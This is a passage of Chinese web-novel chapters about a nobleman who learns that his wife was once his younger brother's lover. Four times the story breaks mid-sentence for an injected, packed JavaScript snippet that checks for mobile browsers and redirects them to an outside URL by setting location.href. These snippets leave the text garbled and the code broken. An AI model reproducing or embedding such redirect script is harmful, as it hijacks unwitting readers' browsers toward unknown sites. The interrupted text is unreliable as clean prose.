用过晚饭后,江辞镜要去和书房处理点事,刚走到院门外,就瞧见他的好弟弟跪在鹅卵石铺成的小径上,守在外头的江炎正在苦口婆心地劝他。 “四少爷,您快起来吧,您这样跪着,世子爷看见了,该生气了。” 江辞年腰杆挺得笔直,一脸倔强:“大哥若连我跪着也生气,那我更该跪着了,我要跪到大哥不生我的气为止。” 江炎还要再劝,就见世子爷出来了,连忙上前拱手行礼,低声道:“世子爷,四少爷已经在这儿跪了半个时辰了。” “大哥你来了。”江辞年见着大哥,一手提起衣摆,跪着挪过去。 江辞年的目光落在他的膝盖上,皱起眉头:“你又在胡闹什么?” “我没有胡闹,我是来向大哥道歉的。” 江辞年仰起一张真诚的脸,正色道,“今日中午,我明知大哥不喜欢我骑嫂嫂的马,却还是抵不住宝马的诱惑,私自向嫂嫂借马,不想连累得嫂嫂被大哥责怪……” 江辞镜淡漠地看着他。 原来他还知道自己生气了的,看他那副没心没肺的样子,还以为**呢。 奇怪的是,无论他是知道,还是不知道,江辞镜现在心里都莫名的不舒服。 江辞年见大哥不说话,只当大哥还在生气,焦急地红了眼睛,恳求道:“大哥,此事都是我的错,嫂嫂只是心肠柔软,心地善良,才会答应将马借给我,你要怪就怪我吧,你打我骂我都可以,只求你别生嫂嫂的气,伤了嫂嫂的心。” 江辞镜背在身后的大手捏成了拳。 嫂嫂嫂嫂,先不说他根本没有真的生沈若芙的气,只是有点别扭,就说他真的生气了,那也是他们夫妻之间的矛盾,如何轮得到一个做弟弟的来替嫂嫂求情? 更何况,此事是因弟弟不懂事而起,他现在又是下跪又是求情的,倒弄得好像他江辞镜才是那个不通人情的恶人一样! 开口时,江辞镜声音都变冷了:“是么,我怎么觉得,你是故意来惹我生气的?” “这……”江辞年垂下眼睛,露出一副不知该如何是好的模样。想了半天,试探地问:“要不,我给大哥磕头吧?” 江辞镜冷笑:“你先把你膝盖上的护膝拿出来,再来说磕头的事吧。” 江辞年犹豫了一会儿,作势要卷起裤腿把护膝拿出来。 江辞镜斥道:“你要磕滚回去自己屋里去磕,别在这儿打扰你大嫂休息。” 江辞年弯腰脱到一半,忽然想到什么,面上一喜,抬起头问:“所以,大哥已经不生大嫂的气了?” 江辞镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178394|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想理会他,却也没有否认,将目光投向远处。 江辞年高兴地道:“真是太好了,既然大哥已经不生嫂嫂的气了,那我就放心了。” 他放心什么? 江辞镜现在有种分明很生气,却找不到足以支撑他勃然大怒的理由的感觉。只能努力把所有翻涌的情绪,都强压在心底。 然而江辞镜也是凡夫俗子,此事又涉及到沈若芙,无论如何克制,脸色依旧极为难看。 江辞年整理好衣袍,站起身,行礼告退:“时候不早了,我就不打扰嫂嫂和大哥休息了,告辞。” 江辞年一瘸一拐地走远了,江辞镜却还站在院门口久久没有动作,全然忘记了自己今夜出来的目的是什么。 江炎神色复杂地看了一眼四少爷离去的背影。 “他在这儿跪了半个时辰,你为什么不进去通禀我?”江辞镜问道。 江炎回过神,拱手道:“回世子爷,四少爷说,他来此罚跪,是为了让自己认识到自己的错误,并非做给世子爷看,所以执意不让属下告诉您。” 江辞镜没对江辞年发出来的火,在此时有了出口:“你是他的下属还是我的下属?” 江炎浑身一凛,头埋得低低的:“属下知错,求世子爷责罚!” 江辞镜难以置信地盯着他:“你跟了我多少年了,竟还犯这种简单的错误……” 江炎闭了闭眼,不敢吭声。 “自己下去领二十个板子,再有下次,我绝不轻饶。”江辞镜沉声道。 江炎郑重地应道:“是。” 江辞镜转身回了锦明堂。江炎独自往外院走去,一直走出去很远,身影隐在了黑夜里,他才敢回头看去。 早些时候,四少爷的话仍在他耳旁回响。 “……我听说,大哥与大嫂刚成亲时,曾误以为大嫂是长公主的细作,那段时间,大哥应该让你查过大嫂的不少事吧?” “如果你查到了什么不得了的东西,却不敢告诉大哥,可以分享给我,免得一个人憋在肚子里憋坏了,我保证不往外说。” 第一百九十七章 猜疑 江炎大惊:“都已经过去了,还望四少爷能谨言慎行。” “我江辞年的人生里,就没有谨言慎行这四个字。” 江炎不敢再与他多言,却拦不住他想说什么就说什么。 “你身为我大哥最信任的得力帮手,却连这么重要的事都瞒着我大哥,为什么?” 在世子爷得知夫人的弟弟不是沈大人的亲生儿子后,世子爷曾训斥过江炎办事不力,盯着沈家那么长时间,连如此重要的事都没有打听到,万幸夫人并非他们的敌人,否则后果不堪设想。 江炎跟着世子爷也有十来年了,很少让世子爷失望过。他很不服气,于是私底下便继续努力调查,想看看到底是自己无能,还是沈家的墙真的有那么密不透风。 这一查,就让江炎打听到了一些不得了的事,险些吓破了胆。 打那以后,江炎每天见到世子爷,内心都十分煎熬,犹豫着要不要把此事告诉世子爷。 从当事人的角度来看,肯定是希望知道的,可从外人的角度来看,似乎又没有多少必要。 一辈子那么长,谁还没有点过去呢? 世子爷和夫人才刚刚成亲,今后的几十年里兴许还会遇到不同的磨难,在时间面前,夫人年少时的一段错误的经历,又算得了什么? 最重要的是,如今世子爷对夫人用情至深,江炎不想让世子爷陷入痛苦,且江炎认为夫人经历了不少伤心与绝望过后,又屡次拒绝过四少爷,说明夫人已经将那段感情彻底放下了。 这不就够了? 就在江炎即将说服自己,把这个秘密埋藏在心底时,四少爷回来了。 江炎一直在暗中观察,从四少爷今日的举动来看,他心里显然依旧放不下夫人。若是如此,为了防止四少爷一时冲动,做出什么有损国公府名声的事来,江炎是时候该改变主意了。 …… 江辞镜回锦明堂后,没有去正房,而是一个人到书房坐着平复心情。 没过多久,江辞年忽然差小厮送来了一本用细布包裹着的书,说是给大哥赔礼道歉的。 虽说江辞镜喜欢看书,但给别人送书来赔礼道歉,显然不是弟弟的作风。 江辞镜疑惑地打开裹着的细布,只见书皮上放着一张字条,上书:“大哥和嫂嫂的幸福,是弟弟义不容辞的责任,今日献上此书,还望大哥能宽宥我则个。” 江辞镜不太明白,直接翻开书页,只匆匆瞥了一眼,便震惊地将书丢到一旁。 这混账小子,简直胡闹! 江辞镜深吸几口气,冷静下来思索。 他很不想承认,但从这段时间看来,弟弟的举止着实有些反常。 弟弟是风流多情,可外头想和他相好的姑娘多如牛毛,他就是一个月处一个,一年到头也空闲不下来,以前哪里有心思去关注自己家里的女眷,更别说动则调戏。 用“调戏”似乎不太准确,但江辞镜不知该如何准确的形容,弟弟在面对沈若芙时的那种令他不适的感觉。 弟弟明知道他不喜欢他碰沈若芙的马,却非要碰。 如果说是单纯的生了反骨,那么从那日在马场,弟弟故意当着自己的面,摸潇竹那两下后就应该结束了,何至于还特意去向自己大嫂借马。 在被他撞见后也丝毫不见羞愧,反而耀武扬威的,像是在故意气自己。 还有弟弟刚回来的那天晚上,弟弟捡到若芙的灯笼后的一些表现也是很奇怪,亲自还回来不说,还在院子里跟丫头说了好一会儿话。 惹得江辞镜还以为出了什么大事,不得不匆匆结束。 江辞镜没听清他们在说什么,但那丫头明知主子在办事,还拔高声音讲话,说明肯定四弟做了什么事惹急了丫头。 江辞镜自认为自己最近并没有得罪过弟弟,如果说是之前不让弟弟回京的事,那是他和父亲共同的决定,以弟弟的性子,就算为此生气,也会摆在明面上,不会在背地里暗搓搓的。 这样分析下来,弟弟的反常,只能是与沈若芙有关了。 那么,沈若芙知不知道弟弟的反常举止呢? 江辞镜不愿意去猜测自己心爱的妻子,即使有疑虑也强行压下,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178395|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他又做不到直接问沈若芙。 说不出是怕她因自己的不信任而伤心,还是觉得问了也无用,她如果想让他知道,自然会跟他说。 等江辞镜回到正房,沈若芙已经睡下了。 迷迷糊糊的,她感觉身后有人将她搂进了怀里,自然而然地往后挪,靠近那个温暖的怀抱。 江辞镜看着妻子的睡颜,感觉到妻子的依赖,茫然无措的心忽然有了归处。 不管如何,妻子对他的爱不会有假。 这不就够了吗? 至于那些不知是否存在的秘密,江辞镜相信有一天他们会找到机会说开的。 江辞镜俯下身,亲了亲沈若芙红润的脸蛋。 第二天沈若芙醒来时,发现江辞镜依旧趟在身旁。 她伸了个懒腰,蠕动着钻进他的被窝里,把因侧睡而压得微微发麻的脸,在他宽阔的胸膛上蹭了蹭。 “怎么还不去官署?” 江辞镜摸了摸她的发:“今日休沐,你忘了?” 沈若芙算了一下日子,讪笑道:“好像是,我还以为是明天呢。” 江辞镜挑眉:“是吗?我十天才歇一日,你也能记错了,还是说,你根本没在盼着我休沐……” 她哪天来小日子,他可是记得清清楚楚。 沈若芙怔了怔,从他身上爬起来,去看他的表情。 江辞镜偏过头不让她看。 沈若芙只好掰着手指头说给这个不知道在别扭什么的男人听。“最近每天忙得停不下来,又要学射箭,又要做女红,还要抽空去遛马,给老夫人和母亲请安,陪孩子们玩耍,和妯娌们说话,偶尔记错了也在情理之中。” 一口气说完,又道:“再说了,你十天才休息一次,我要成天在家里盼着这一天到来,那日子过得多可怜巴巴呀。你说是不是?” 还算是个合理的理由。 江辞镜的表情又恢复了正常,握着她的手说:“那一会儿让我看看你练习射箭的成效,昨天没遛成马,下午也陪你一起去遛。” 沈若芙应了声“好”。 第一百九十八章 你能不能不要再提你大嫂! 沈若芙射箭的准头还不太好,十发大概只能有一中。 但介于她才正儿八经的练习了一个月,所以她已经很满足了。 她也没打算一口气吃成大胖子,一个月后的狩猎,她的目标是打到一只野兔,就算胜利了。 江辞镜当然不会在爱妻正在兴头上时,打击她的自信心。 骑射和射靶子的难度可不能在一块比较,以她目前的水平,就是兔子站在灌木丛里一动不动让她射,她也未必能射得中。反正到时候有他在她身旁帮她。 指点完射箭,中午歇了个响,下午两人便一起去马场遛马。 江辞镜刚亲手给惊风套上它的女主人给它做的新马鞍,江辞年就背着手,从远处一路慢悠悠地晃荡过来了。 “大哥大嫂又来骑马?真巧。” 江辞镜眸色一冷,另一只手便牵住了潇竹的缰绳。 江辞年连忙竖起手掌:“大哥不用客气,我只是出来晒晒太阳,不是来骑马的。” 江辞镜稍微放松了警惕:“你院子里没有太阳,跑到这么远的地方来晒?” 江辞年:“大哥这话说的,在自己院子里逛多无聊啊。何况我就一个人,又不像大哥有大嫂陪着,就算一整天待在屋里也不会无趣。” 江辞镜:“你那些相好呢,去了一趟苏州回来全都弃你而去了?” “相好是相好,好一阵子腻歪了,就大路朝天各走一边了。”江辞年意味深长的一笑,“相比之下,大哥和大嫂才是会永远陪伴我的亲人。” 说些什么乱七八糟的。 沈若芙和江辞镜不约而同地朝江辞年皱起眉头,一言难尽地看着他。 江辞年摆摆手,笑道:“好了好了,大哥大嫂你们骑你们的就好,不用管我。” 本来就没想理他的江辞镜和沈若芙:“……” 沈若芙牵过潇竹的缰绳,翻身上马,紧接着,江辞镜也坐了上来。 “世子爷不骑惊风吗?” 她现在已经不需要他的保护了。一个人骑一匹马更自在一些。 江辞镜当然知道妻子是如何想的,他犹豫片刻,用余光看了一眼下方的江辞年,一边拉紧缰绳调转马头,一边解释道:“惊风天天跟着我早出晚归,也需要休息。” 好吧,人有休沐日,马也要有。 沈若芙坦然接受,没有多想,扶稳马鞍。 江辞镜一夹马肚,潇竹便嘚嘚嘚地驰骋起来。 寻常遛马,是沿着马场的外围绕圈跑。 每次两人一马经过马棚时,就能看见江辞年睁着一双大眼仰头望着他们,似乎十分渴望加入他们。 江辞镜当然不会给好弟弟这个开口的机会。 在马场不好跑得太快,江辞镜就等到快要从弟弟身边经过时,悄悄夹马肚加快速度,“咻”的一下就过去了。 第一次沈若芙还被他吓了一跳,第二次第三次开始,就猜测到他的意图了。 轮到沈若芙驭马时,她也学江辞镜的样子,提前加快速度。 起初看着江辞年伸长脖子欲言又止,次次都想开口,却次次都没来得及开口,沈若芙还觉得怪有趣的。虽然不知道他想干什么,但沈若芙乐得见到他吃瘪的样子。 大约跑了五六圈回来,沈若芙远远看见江辞年耷拉着脑袋走了。 夕阳西下,少年郎的背影在落日余晖的映照下显得分外孤寂。 沈若芙收回目光,回头看向江辞镜。 江辞镜勒停马儿,先下了马背,再扶沈若芙下来。 “他看上去怪怪的,是不是有什么心事?” 江辞镜:“他能有什么心事。好了,我们回去吧。” 沈若芙不明白他为何表现得这样冷漠,他们兄弟俩人的关系分明很好的。她拉住江辞镜的手,劝说道: “去看看吧,方才他在这儿等了那么久,说不定有什么话想和你说呢。” 江辞镜仍在为昨晚的事耿耿于怀,不乐意听见沈若芙关心他。但仔细一想,自打弟弟从苏州回来被革了职,自己身为大哥,好像就没有正儿八经的关心过他一次,和他谈谈未来的打算。 当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187676|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也不能怪自己,有好几次江辞镜想说,都被他的不正经给打断了。 江辞镜想了想说:“那你先回去,我去去就回。” 沈若芙点点头,放开了手。 …… 江辞镜本想追上弟弟的脚步,两人找个园子坐下来谈话。 不想弟弟从马场离开时脚步还慢悠悠的,后面却健步如飞,一溜烟就跑回了冠云堂。 江辞镜站在院子里,问从屋里出来的小厮何荣:“四少爷在里头做什么?” 何荣如实回道:“什么都没做,一进屋就趴床上了,说是要睡傍晚觉。” 傍晚觉……江辞镜无奈地叹了口气,跨进门槛,见房中空无一人,便反手合上门。 他走进内室,看见江辞年横着趴在拔步床上,衣服没换,鞋子也不脱,只用被褥蒙住自己的脑袋,十分郁闷的模样。 到底是自己从小看着长大的亲弟弟,虽然有时候很气人,可眼下见他一个人趴在这儿孤零零的,江辞镜还是不忍心真的不理他。 江辞镜轻声走到床边,停在地平外,语气无奈:“你这傍晚觉,就是邋里邋遢的往床上一趴,就算睡了?” 江辞年听见声音,掀开被褥转过头,惊讶地:“大哥,你怎么来了?” 江辞镜正色道:“起来坐好了,大哥和你谈谈。” 江辞年不理他,把脑袋趴回去,晃了晃两只脚:“想和我谈话可以,但大哥得先告诉我,是大哥自己要来的,还是嫂嫂劝大哥来的。” 此话一出,江辞镜的脸上立马挂上了一层冰壳子,比腊月的鹅毛大雪还冻人。 “你能不能有哪一天和你大哥讲话的时候,不要提你大嫂!” 身高九尺且身材孔武有力的武官,认真吼起人来还是挺吓人,就连屋檐下的鸟雀都被世子爷突如其来的怒火吓得扑腾着翅膀飞走了。 可江辞年却一点不怕。不仅不怕,似乎还很高兴见到大哥发火,兴高采烈地爬起来跪在床沿,兴冲冲地望着大哥。 “所以,真的是嫂嫂劝大哥来的了?” 第一百九十九章 她是我未过门的妻子 江辞镜立即转身往前走去,走到房屋中央又停下来,闭上眼深吸了口气。 他不想让弟弟得意,大可直接否认,反正弟弟又无从求证。可沈若芙是他的妻子,他凭什么要靠欺瞒来赢得面子? 何况,目前事情的严重性,已经不是自欺欺人能解决得了的了。 想好后,江辞镜回过身,重新走到拔步床前,看着弟弟。 “江辞年,你到底想做什么?” “我没想做什么……”江辞年还是那副无辜的表情,他慢慢放下腿坐到床沿,老实巴交地低着头说,“我就是希望,嫂嫂能在与大哥琴瑟和鸣之余,多关心关心我这个弟弟,我就满足了……” 果然,他果然在肖想一些他不该想的人! 这一刻,震惊,失落,愤怒一齐涌上了江辞镜的心头。 “江辞年,你知道你自己在说什么吗?” 江辞年:“我当然知道……” “不,你不知道。”江辞镜打断他“你若是知道,就不会明知她是你大嫂,还说出这种不知羞耻的话!” 江辞年猛然抬头,眼中闪着精光:“她不是我大嫂,她是我未过门的妻子!” 江辞镜脸色一白。 江辞年愤然道:“要不是大哥多管闲事,阿芙现在已经是我的妻子了,大哥该称呼她一声弟妹才是。” “弟妹?”江辞镜念出这荒唐又陌生的两个字,看弟弟的眼神变得有些陌生,仿佛眼前的人被夺舍了。 “江辞年,你是不是疯了?” “疯没疯,我自己心里清楚。”江辞年撇过头,“大哥就没想过,去年我为何那么着急要从苏州跑回来,甚至断了腿,也锲而不舍的要回来?” 江辞镜不是傻子。话说到这,他的脑海里已经将很多疑点串联在了一起,并选出了其中最大的一种可能。 可他不愿意承认,所以只是问道:“为何?” 江辞年抬起眼眸,勾唇一笑:“因为我和阿芙是真心相爱的。” 这句话对江辞镜来说宛若挨了一个晴天霹雳,把他震在原地,浑身僵硬。 江辞年全然不在乎,还在接着刺激自己的好大哥。 “听说大哥与阿芙第一次见面是在去年六月的围猎上,可我和阿芙早在前年的春天就相识了。那年她去河间府看望她的外祖母,我也恰巧在那儿,我对阿芙一见钟情,时常约她出门游玩,没过多久,我们便坠入了爱河。” “可后来,阿芙意外得知了我定过亲的事,她很生气,跑过来质问我,是不是从来没想过要娶她为妻。那时我一心扑在玩乐上,压根没想过要成家,阿芙又一直追着我要我给她一个承诺,我觉得自己给不了,一时冲动,就说了一些难听的话,伤了她的心……” 江辞镜难以形容自己现在是什么心情。 他最爱的妻子曾是弟弟的旧相好,还是因为弟弟不愿意娶她为妻才分开的,而这么大的事,他竟然直到今天才知道! 江辞镜感觉弟弟的每一个字都十分刺耳,他不想听,想马上离开,骑上马跑得远远的,谁都不想见,却不得不继续强撑着听下去。 “和阿芙分开后,我很快就后悔了,可我又觉得自己给不了她想要的东西,不知道该不该挽回她,心里很纠结,还曾与大哥谈过此事,大哥你还记得吗?” 江辞镜怎么可能不记得,就是再过几十年,江辞镜也会记得。 那是他风流多情的弟弟第一次为一个姑娘面露愁容,左右为难。 想不到,当时弟弟口中的那个让江辞镜心生好奇究竟有什么魅力的姑娘,阴差阳错的成为了他的妻子。 江辞年:“我尝试着去寻找新的相好,却发现我的眼里已经容不下除了阿芙以外的任何一个姑娘,我心里的那个位置这辈子永远只能是阿芙的。于是,在离开京城之前,我鼓起勇气去找了阿芙表明心意,求她嫁给我。” 说到此处,江辞年特意停下来,观察哥哥的表情。 江辞镜的神色已经麻木了,似乎能猜到弟弟接下来会说出什么。 “阿芙答应了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187677|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 话一说出口,江辞镜眸中最后一丝光亮也灭了,变得黑洞洞的,如同一个没有生气的无底深渊。 江辞年却因沉浸在虚假的回忆中,露出了一抹浅笑。 “阿芙答应了要嫁给我,我们约定好等我从苏州回来,我就上门去提亲。可也是因为我,她才会被长公主及南安郡王那个色狼盯上,成为他们的眼中钉肉中刺,才有了那场阴差阳错的赐婚……” 这一瞬间,很多以前江辞镜想不明白的事,都有了答案。 原来,这才是怀敬长公主要沈若芙嫁给他的理由。 先是因为沈若芙和弟弟的关系,被长公主刻意针对,可沈若芙不愿意屈从于他们。正巧南安郡王出了事,长公主自顾不暇,就想出了这个一箭双雕的好办法。 设计一场英雄救美让皇帝下旨赐婚。 届时,要么沈若芙**辞镜误会成细作直接除去,要么就是像现如今这样,一个发现自己被欺骗被伤透了心,一个发现自己爱的人嫁给了旁人,而企图闹得全家鸡犬不鸣。 无论怎么样,长公主都不会输。 “所有的事,我先生都知道。他没有把真相全部告诉你,也是怕你牵连阿芙,怕阿芙受大哥的欺负。” 江辞年焦急地站起身,大声地说:“可是大哥,阿芙她也是受害者,她不是自愿想嫁给你的!” “阿芙只是一个弱女子,她不把我们的过去如实告诉你,也是担心你会生她的气。她出身低,没有娘家做靠山,我又不在她身边保护她,她一个人嫁进这高门大户来难免会害怕。她不是故意想隐瞒你的。” “至于我回来后,阿芙总是忍不住想关心我,毕竟我们曾相爱过那么长时间,都到了谈婚论嫁的地步,却不得不意外分开,阿芙心里放不下我,也在情理之中。” “可阿芙一直很努力的在控制自己的感情,是我没控制好,让明察秋毫的大哥一眼看出来,是我的错……” “所以,大哥我求求你,你要怪就怪我,别怪阿芙,好不好?” 第二百章 原来他才是不被爱的那一个…… 江辞镜盯着弟弟不说话,额头却青筋暴起,心里显然已经愤怒到了极点。 江辞年犹豫片刻,突然扑通一声跪下去,抬手扇起自己巴掌来,左一个右一个,打得凶狠十足,一边打嘴里一边说: “大哥我求求你了……看在我是你亲弟弟的份上,你就原谅阿芙吧……” 江辞镜握紧拳头,怒目而视:“我问你,你现在是以她的什么人来求的我?!” 江辞年住了手,粗喘着气沉默片刻,垂下眼眸,低声说:“自然是以阿芙的爱人……可如果大哥愿意原谅阿芙,从今往后,我可以只叫阿芙一声大嫂……” 江辞镜震声道:“你既然叫了这声大嫂,就合该知道,我原不原谅你大嫂,都轮不到你说半个字!” “大哥!”江辞年高高仰起头,还想说什么。 江辞镜正要走,又回过身怒气冲冲地打断他:“你给我住嘴!” 江辞年低下头,不再说话,似在为自己没能为阿芙求得哥哥的原谅而懊恼。 江辞镜盯着弟弟扇红的脸,气得全身都在发抖,想反驳,想训斥,然而他除了让弟弟闭嘴外,再没有底气说出一个字。 原来他才是不被沈若芙爱的那一个。 如果不被爱,就算吵赢了这一局,又有什么用? 江辞镜转身疾步离去,背影透着几分狼狈。 …… 守在廊下的江炎,已经听见了屋里的争吵,预感到接下来自己的日子也不会好过。 可当房门打开,江炎看见世子爷红着眼睛从里头走出来,还是被吓了一跳。 江炎跟了世子爷十二年,在他眼中,他们世子爷从来都是泰山压顶面不改色的。即便是前些年在战场上身中十二刀,在物资短缺没有麻药的情况下,被生缝七十几针,也不见世子爷失态过。 而今日,世子爷居然哭了。 江辞镜不知道自己是如何走出弟弟的房门,又是如何走到青鸟阁的,只觉自己好似被抽去了魂魄,整个人犹如行尸走肉一般。 他神情恍惚地坐在临窗的书桌后,听着江炎把调查到的事一五一十地告诉他,原本就只剩下麻木与绝望的心情,愈发雪上加霜。 “你是说,夫人曾经因为四少爷不肯娶她为正妻而上吊自杀过?险些没了性命?” 江辞镜的声音都在发颤。 江炎垂着眼眸,不敢去看世子爷此刻的表情。他从来没觉得有什么事能让他如此难以开口。 “是,此事据我所知,只有夫人的家里人知晓,四少爷应当是不知情的。” 江辞镜自嘲地笑道:“我的妻子,曾经为了一个男人,命都不要了……即便如此,她后来还是原谅了他……” 这该是有多爱才能做得出这种事? 江辞镜不知道,也不敢去深想。他从来不认为夫妻之间要甘愿为对方付出生命才能算得上真爱,他更希望沈若芙在爱他之前,要先好好爱自己。 可现在江辞镜才发现,原来沈若芙真正爱一个人,会因为对方不要她而伤心到上吊自尽。 这要江辞镜往后怎么再相信沈若芙是爱他的? 江炎道:“世子爷,据属下打听到的,夫人自尽获救以后,便没再主动与四少爷有来往,倒是四少爷后悔了去纠缠过她几次,不过夫人每次都拒绝了。至于四少爷说的,夫人在他离开京城前答应了他的求亲,属下以为不可尽信。说不定,四少爷只是为了让您误会夫人才这么说,您还是要亲口去问问夫人,再下决断为好。” 真真假假,江辞镜也分不清了。 他发现自己现在根本不敢面对沈若芙,害怕自己一时控制不住,怒火中烧,会做出什么伤害她的事来。 他需要冷静下来认真思考,好好想想接下来他与沈若芙该怎么办,他们的感情该何去何从。 “你先下去吧,我想一个人冷静一会儿。夫人那边,你差人去传个话,就说我忽然有急事要忙去了官署,今晚不回去了。” 江炎犹豫片刻,拱手应道:“是”。 江炎走了,江辞镜独自一人坐在书房里从傍晚待到第二日凌晨,连晚饭都没有吃。 快到二更时,江辞年来了一趟。 江辞镜不想见他,他便坐在窗台下和哥哥说话。 “大哥,以前你总说我风流成性,喜新厌旧,自从遇到阿芙,我才发现原来当你真心喜欢一个女人,只有她一个就够了。” “和阿芙在一起时的每一天都是开心的。我们一起外出游玩,去郊外踏青,在无人之处尽情地拥抱亲吻。哦对了,阿芙第一次学会骑马,其实是我教的。所以,大哥不知道,那天我看到你和她在一块骑马的时候,有多想念我们的过去……” “大哥,我在苏州时常常在想,如果当初我没有犹豫不决该有多好,如果我能早点明白自己的心意,娶了阿芙,也不会有如今的追悔莫及。” “可错过了就是错过了,终究是我与阿芙有缘无分。如果上天给我一次重来的机会,我一定会毫不犹豫地娶了阿芙,不再让她为我伤心,为我难过,可惜没有如果……” “大哥,弟弟和你说这些没有旁的意思,弟弟就是希望,大哥能代我好好照顾阿芙,阿芙是个好姑娘,像大哥这么好的男人,阿芙她也是很尊敬你的。” “大哥,弟弟能不能问你一个问题?你跟阿芙在一起的时候,她也会主动亲你吗?” “大哥,你可有在听弟弟讲话?大哥你睡了吗?” 江辞年盯着地上斜斜长长的影子,发觉身后窗内的烛火不知何时全灭了。 江辞镜一个人坐在漆黑的屋子里,泪水无声落下。 …… 这天晚上,沈若芙睡得很不安稳,几乎没怎么入睡过。 江辞镜从来没有夜不归宿过,以前就算公务再忙,他都会赶回来陪她。 他毕竟身担重任,如果没有江辞年,沈若芙兴许不会多想。可江辞镜是在去见完江辞年后不见人影的,沈若芙也就不可避免的怀疑到了江辞年身上,疑心是不是江辞年和他说了什么,以至彻夜惶惶不安。 第二百零一章 你很希望我疼? 好在翌日下午,到了下值的时间,江辞镜按时回来了。 沈若芙听到丫头的通传,出门去迎接他,走到门前,就看见了一张略有些苍白的脸。 她唤了声“世子爷”,像往常一样上前握住他的手,关切地问:“看你脸色不太好,是不是朝里出了什么事,才让你忙成这样?” 从再度见到沈若芙的那一刻起,江辞镜便目不转睛地直视她的眼睛,企图从她眼中看出一丝虚伪来。可无论怎么看,都只有满满的关心。 演得还不错,江辞镜心里想着,正想回答,就听见沈若芙小小惊呼一声,抬起他一片血肉模糊的手背,焦急地问: “你的手怎么受伤了?” 江辞镜不想满足她的虚情假意,缩回手放在身侧,淡淡道:“练武时伤的。” 沈若芙只当他不想让自己担心,又是心疼又是责怪地:“你练什么武把自己伤成这样?又不是上阵杀敌,怎么不保护好自己?” 江辞镜抿着唇不说话。 他不会告诉她,为了发泄情绪,下午他一口气打断了五根十寸粗的木人桩,这点伤口,已算是轻伤。 沈若芙不理会他的倔强,直接吩咐吴妈妈去把李大夫叫过来。他的伤口有点复杂,沈若芙处理不了,最好还是让大夫来。 李大夫很快提了药箱过来,为世子爷清理伤口。 他的伤口里扎进了一些木刺,需要用镊子一根一根拨开血肉挑出来。 沈若芙坐在一旁,光是看着都觉得很疼,有好几次忍不住吸气。倒是江辞镜,全程眉头都不皱一下。 待李大夫包扎好伤口,江辞镜才将视线从一脸心疼的沈若芙脸上收回来,看了看自己的手。 “我怎么觉得你好像一点都不疼的样子?”沈若芙好奇地问。 江辞镜一愣,再次看向她:“你很希望我疼?” 沈若芙浅笑道:“当然不是。只是你表现得这样淡定,显得我很无用似的。” 江辞镜没再接话。沈若芙从炕桌底下取出一张图纸,摆到他面前,说:“我打算给我们两个人做一对护膝,等出去打猎的时候用,你看看你喜欢哪种样式的。” 她以前很不喜欢做女红,可现在忽然觉得能亲手给丈夫做一点东西,好像也挺好的。 江辞镜看眼图纸,见上头画了十来个花样,有点晕晕的:“你选就好,我没有什么偏好。” 沈若芙就知道他会这么说。可她这不是自己拿不定主意才让他选的么。她戳了戳江辞镜的手肘,语气幽怨: “不行,你必须选一个,休想一点力气都不出,坐享其成。” 江辞镜指了指倒数第二排最左边的那个。 “我也觉得这个最好。”沈若芙有种和丈夫心有灵犀的感觉,朝他莞尔一笑,拿起图纸细看,在心里琢磨着该从何处着手。 江辞镜被妻子的笑容猝不及防地晃了心神,有一瞬间觉得就这么算了吧,既然事情已经发现了,再计较也无用。他何不大度一点,原谅她,反正她此生永远都只能是他的妻子。 以后,她还会为他生儿育女,操持后宅。这些都是江辞年不曾有,也不会有的。 就像江炎说的,在人生的几十年里,区区不到两年的一段感情算得上什么? 不管沈若芙现在心里爱的是谁,江辞镜都会用时间向她证明,他江辞镜才是那个值得她共度一生的男人。 这个念头从江辞镜的脑海中一闪而过,他的眼前便再度浮现出沈若芙绝望上吊的身影,脸色阴沉下来。 如果此刻沈若芙偏过头,一定会被他阴骘的目光吓一跳。 不过,沈若芙没有留意到江辞镜的神色变化,只觉得他今日怪安静的。 